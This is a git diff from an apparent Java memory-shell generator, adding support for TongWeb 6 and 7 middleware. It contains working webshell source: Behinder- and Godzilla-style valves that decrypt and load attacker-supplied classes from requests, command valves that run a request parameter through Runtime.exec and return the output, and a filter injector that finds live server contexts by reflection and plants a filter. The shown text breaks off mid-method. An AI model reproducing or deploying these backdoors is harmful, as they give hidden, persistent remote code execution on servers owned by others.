diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java new file mode 100644 index 00000000..53a7c98d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; +import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; +import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; +import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector; +import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector; +import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +import static com.reajason.javaweb.memshell.config.Constants.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class TongWeb6Shell extends AbstractShell { + public static final String VALVE = "Valve"; + public static final String JAKARTA_VALVE = "JakartaValve"; + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class), + JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class), + LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), + JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), + VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class), + JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class), + JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class), + LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), + JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), + VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class), + JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class) + ); + } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class), + JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class), + LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), + JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), + VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class), + JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java new file mode 100644 index 00000000..5fb6877d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; +import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; +import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; +import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector; +import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector; +import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +import static com.reajason.javaweb.memshell.config.Constants.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class TongWeb7Shell extends AbstractShell { + public static final String VALVE = "Valve"; + public static final String JAKARTA_VALVE = "JakartaValve"; + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class), + JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class), + LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), + JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class), + VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class), + JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class), + JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class), + LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), + JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class), + VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class), + JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class) + ); + } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class), + JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class), + LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), + JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class), + VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class), + JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index e0e143d0..168e1742 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -73,7 +73,8 @@ public enum Server { /** * 东方通中间件 */ - Tongweb(null), + TongWeb6(new TongWeb6Shell()), + TongWeb7(new TongWeb7Shell()), /** * 金蝶天燕中间件 diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java index a149690f..8f75fa32 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java @@ -112,9 +112,7 @@ public class TomcatValveInjector { return; } try { - Class valveClass; - String valveClassName = "org.apache.catalina.Valve"; - valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); } catch (Exception e) { e.printStackTrace(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java new file mode 100644 index 00000000..5858d765 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java @@ -0,0 +1,144 @@ +package com.reajason.javaweb.memshell.tongweb.behinder; + +import com.tongweb.web.thor.Valve; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderValve6 extends ClassLoader implements Valve { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public BehinderValve6() { + } + + public BehinderValve6(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public String getInfo() { + return ""; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", getInternalResponse(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderValve6(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + @Override + public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { + + } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java new file mode 100644 index 00000000..3923710f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java @@ -0,0 +1,133 @@ +package com.reajason.javaweb.memshell.tongweb.behinder; + +import com.tongweb.catalina.Valve; +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderValve7 extends ClassLoader implements Valve { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public BehinderValve7() { + } + + public BehinderValve7(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", getInternalResponse(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderValve7(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java new file mode 100644 index 00000000..58a4f2b0 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.memshell.tongweb.command; + +import com.tongweb.web.thor.Valve; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class CommandValve6 implements Valve { + public String paramName = "{{paramName}}"; + protected Valve next; + protected boolean asyncSupported; + + public CommandValve6() { + } + + @Override + public String getInfo() { + return ""; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } + + @Override + public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { + + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java new file mode 100644 index 00000000..d74c6a88 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.tongweb.command; + +import com.tongweb.catalina.Valve; +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class CommandValve7 implements Valve { + public String paramName = "{{paramName}}"; + protected Valve next; + protected boolean asyncSupported; + + public CommandValve7() { + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java new file mode 100644 index 00000000..cd2116a9 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java @@ -0,0 +1,147 @@ +package com.reajason.javaweb.memshell.tongweb.godzilla; + +import com.tongweb.web.thor.Valve; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaValve6 extends ClassLoader implements Valve { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public GodzillaValve6() { + } + + public GodzillaValve6(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public String getInfo() { + return ""; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve6(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + @Override + public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { + + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java new file mode 100644 index 00000000..25abd2c1 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java @@ -0,0 +1,136 @@ +package com.reajason.javaweb.memshell.tongweb.godzilla; + +import com.tongweb.catalina.Valve; +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaValve7 extends ClassLoader implements Valve { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public GodzillaValve7() { + } + + public GodzillaValve7(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve7(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java new file mode 100644 index 00000000..63ad4ecc --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java @@ -0,0 +1,201 @@ +package com.reajason.javaweb.memshell.tongweb.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class TongWebFilterInjector { + Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName()); + + static { + new TongWebFilterInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public TongWebFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Object context = null; + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object filter) throws Exception { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + logger.warning("filter already injected"); + return; + } + String filterClassName = getClassName(); + Object filterDef; + Object filterMap; + Constructor constructor; + try { + // tongweb 7 + filterDef = Class.forName("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); + constructor = Class.forName("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + } catch (Exception e2) { + // tongweb 6 + filterDef = Class.forName("com.tongweb.web.thor.deploy.FilterDef").newInstance(); + filterMap = Class.forName("com.tongweb.web.thor.deploy.FilterMap").newInstance(); + constructor = Class.forName("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + } + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + + constructor.setAccessible(true); + Object filterConfig = constructor.newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + logger.info("filter inject success"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch 